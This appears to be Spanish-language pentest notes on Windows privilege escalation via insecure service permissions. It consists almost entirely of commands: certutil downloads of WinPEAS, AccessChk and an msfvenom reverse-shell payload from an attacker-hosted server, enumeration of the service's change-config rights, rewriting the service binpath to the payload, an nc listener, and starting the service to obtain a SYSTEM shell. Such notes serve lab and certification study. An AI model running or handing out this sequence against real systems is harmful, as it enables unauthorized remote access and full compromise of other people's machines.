# Permisos de servicio inseguros

## Enumeración

```bash
# Transferencia de WinPEAS
## Máquina atacante
md5sum winpeas.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/winpeas.exe winpeas.exe & certutil.exe -hashfile winpeas.exe MD5

# Transferencia de AccessChk
## Máquina atacante
md5sum accesschk.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/accesschk.exe accesschk.exe & certutil.exe -hashfile accesschk.exe MD5

# Enumeración de servicios con WinPEAS
.\winpeas.exe quiet servicesinfo
# Enumeración de privilegios del servicio con AccessChk (SERVICE_CHANGE_CONFIG)
.\accesschk.exe /accepteula -uwcqv user <service-name>
# Revisión de privilegios de ejecución del servicio (SERVICE_START_NAME)
## SERVICE_START_NAME: LocalSystem
sc qc <service-name>
```

## Escalamiento de privilegios

```bash
# Generación y transferencia de reverse shell
## Máquina atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=443 -f exe -o reverse.exe
md5sum reverse.exe; python3 -m http.server 80
## Máquina victima
certutil.exe -urlcache -f http://<attacker-IP-address>:80/reverse.exe reverse.exe & certutil.exe -hashfile reverse.exe MD5

# Modificación de configuración del servicio (BINARY_PATH_NAME)
sc config daclsvc binpath= "\"C:\<path>\reverse.exe\""

# Configuración de listener de reverse shell en máquina atacante
rlwrap nc -lvnp 443

# Inicio del servicio
net start <service-name>
```


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